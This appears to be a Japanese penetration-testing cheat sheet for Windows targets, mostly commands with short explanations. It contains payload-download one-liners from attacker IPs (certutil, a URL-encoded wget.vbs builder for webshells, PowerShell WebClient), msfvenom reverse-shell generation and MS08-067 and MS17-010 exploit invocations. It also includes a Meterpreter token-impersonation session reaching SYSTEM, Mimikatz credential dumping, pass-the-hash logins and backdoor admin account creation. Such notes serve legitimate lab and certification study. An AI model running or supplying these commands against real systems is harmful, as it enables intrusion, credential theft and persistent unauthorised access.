upload evil_trojan.exe c:\\windows\\system32
download c:\\boot.ini
certutil.exe -urlcache -split -f http://10.11.0.11/exploit/windows/reverse-shell4445.exe reverse-shell4445.exe
- powershell empire
upload /tmp/launcher.bat
cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
echo+strUrl+%3D+WScript.Arguments.Item%280%29+%3E+wget.vbs+%26+echo+StrFile+%3D+WScript.Arguments.Item%281%29+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_DEFAULT+%3D+0+%3E%3E+wget.vbs+%26++echo+Const+HTTPREQUEST_PROXYSETTING_PRECONFIG+%3D+0+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_DIRECT+%3D+1+%3E%3E+wget.vbs+%26+echo+Const+HTTPREQUEST_PROXYSETTING_PROXY+%3D+2+%3E%3E+wget.vbs+%26+echo+Dim+http%2C+varByteArray%2C+strData%2C+strBuffer%2C+lngCounter%2C+fs%2C+ts+%3E%3E+wget.vbs+%26+echo+Err.Clear+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+Nothing+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+CreateObject%28%22WinHttp.WinHttpRequest.5.1%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22WinHttp.WinHttpRequest%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22MSXML2.ServerXMLHTTP%22%29+%3E%3E+wget.vbs+%26+echo+If+http+Is+Nothing+Then+Set+http+%3D+CreateObject%28%22Microsoft.XMLHTTP%22%29+%3E%3E+wget.vbs+%26+echo+http.Open+%22GET%22%2C+strURL%2C+False+%3E%3E+wget.vbs+%26+echo+http.Send+%3E%3E+wget.vbs+%26+echo+varByteArray+%3D+http.ResponseBody+%3E%3E+wget.vbs+%26+echo+Set+http+%3D+Nothing+%3E%3E+wget.vbs+%26+echo+Set+fs+%3D+CreateObject%28%22Scripting.FileSystemObject%22%29+%3E%3E+wget.vbs+%26+echo+Set+ts+%3D+fs.CreateTextFile%28StrFile%2C+True%29+%3E%3E+wget.vbs+%26+echo+strData+%3D+%22%22+%3E%3E+wget.vbs+%26+echo+strBuffer+%3D+%22%22+%3E%3E+wget.vbs+%26+echo+For+lngCounter+%3D+0+to+UBound%28varByteArray%29+%3E%3E+wget.vbs+%26+echo+ts.Write+Chr%28255+And+Ascb%28Midb%28varByteArray%2ClngCounter+%2B+1%2C+1%29%29%29+%3E%3E+wget.vbs+%26+echo+Next+%3E%3E+wget.vbs+%26+echo+ts.Close+%3E%3E+wget.vbs
Webshellが設置できると、このワンライナーをwebshell.php?cmd=echo+....
みたいにすることで、wget.vbs
を作成する
- powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File wget.ps1
echo $storageDir = $pwd >wget.ps1 echo $webclient = New-Object System.Net.WebClient >>wget.ps1 echo $url = "http://[kali ip]/[file]" >>wget.ps1 echo $file = "[file]" >>wget.ps1 echo $webclient.DownloadFile($url,$file) >>wget.ps1
smbserver.py a /usr/share/windows-binaries/
Kali上でImpacketのsmbserver.pyを使用することで、445ポート上にSMBサーバーを立ち上げる。
windowsからは\\10.10.14.25\a\whoami.exe
などでローカルにあるようにコマンドを実行できる。
dir
,copy
なども可能。
また、Windowsから接続してきた際のsmbserver.pyのログから現在のWindowsのユーザーのハッシュが取得できる可能性がある。
blog.ropnop.com
有名なExploit
MS08-067(netapi)
python ms08-067-modi.py 10.10.10.1 7 445
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows --var-name shellcode
でカスタムペイロードを作成して、shellcodeの中身を変更して実行。
わかりやすい。
Usage: ms08-067-modi.py <target ip> <os #> <Port #> Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445 Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used) Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX) Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX) Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)
github.com
www.exploit-db.com
www.exploit-db.com
MS17-010(eternal blue)
python ms17-010-zzz.py -t 10.11.1.1 -c "net user" -u root -p root
使用できる名前付きパイプが見つからない、みたいなエラーが発生する場合は、以下のスクリプトでusernameとPasswordを適当に設定する必要がある。
名前付きパイプは、
use auxiliary/scanner/smb/pipe_auditor
で使用可能なものを列挙できる。
/usr/share/metasploit-framework/data/wordlists/named_pipes.txt
に名前付きパイプのWordlistがある。
-c
で任意のコマンドをSYSTEMとして実行できる。
github.compython zzz_exploit.py -t 10.11.1.75 -u root -p root -c "cmd"
以下のスクリプトでもコマンドを実行できたが、FirewallによってOutboundが制御されている場合は実行に失敗した。(気のせい?)
github.compython send_and_execute.py 10.11.1.1 reverse-shell.exe
usernameやPasswordを設定しなくてもコマンドが実行できるなら、これでReverse shellを得られる。
github.comuse auxiliary/admin/smb/ms17_010_command
Metasploitでコマンドを実行できる。use exploit/windows/smb/ms17_010_eternalblue
MetasploitでReverse shellを得られる。
Abusing Token
meterpreter > getuid Server username: NT AUTHORITY\NETWORK SERVICE meterpreter > getprivs Enabled Process Privileges ========================== Name ---- SeAssignPrimaryTokenPrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege
Meterpreter上でload incognito
で利用・偽装可能なトークンを列挙できる。
Administratorに昇格できる場合がある。
meterpreter > load incognito Loading extension incognito...Success. meterpreter > list_tokens -g [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM Delegation Tokens Available ======================================== BUILTIN\Administrators BUILTIN\Guests BUILTIN\Performance Log Users BUILTIN\Users NT AUTHORITY\Authenticated Users NT AUTHORITY\NETWORK NT AUTHORITY\NETWORK SERVICE NT AUTHORITY\NTLM Authentication NT AUTHORITY\SERVICE NT AUTHORITY\This Organization Impersonation Tokens Available ======================================== No tokens available meterpreter > impersonate_token "BUILTIN\Administrators" [-] Warning: Not currently running as SYSTEM, not all tokens will be available Call rev2self if primary process token is SYSTEM [+] Delegation token available [+] Successfully impersonated user NT AUTHORITY\SYSTEM meterpreter > getuid Server username: NT AUTHORITY\SYSTEM
PowershellでTokenを操作できるスクリプトがあるらしい。
https://hacknpentest.com/privilege-escalation-through-token-manipulation/hacknpentest.com
Post Exploit
- Mimikatz
Active Directoryで管理されている組織のネットワークに所属するホストの場合は、ネットワーク管理者による管理を円滑にするために、複数の端末で共通のパスワードが設定された状態でアカウントが有効化されている場合が多い。
よって、SYSYEMを取得したあとは、ホストに保存されているNTLMハッシュのダンプして、PassTheHashによって同じパスワードを使用している、同じネットワーク内の別のホストへと横移動できる
Mimikatzは実行に管理者権限を必要とする
Invoke-Mimikatz -DumpCreds
,Seatbelt.exe
で確認 Pass the Hash
fgdump.exe
wce32.exe -w
python psexec.py Administrator:password@10.11.1.1
資格情報が得られた場合はImpacketのPsExecモジュールでログインできるかも。python wmiexec.py -hashes :aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa Administrator@10.11.1.1
hashが得られている場合はImpacketのwmiexecモジュールでPTHできるかも。
:aaa...
とすることでLMハッシュを省略。
www.hackingarticles.in
blog.ropnop.com
add backdoor
net user backdoor pass /add
net localgroup administrators backdoor /add
todo!!
以下を参照
github.com
参考文献
PEの方法を非常に丁寧に書いてあってわかりやすい。
github.com
www.fuzzysecurity.com
github.com
sushant747.gitbooks.io
github.com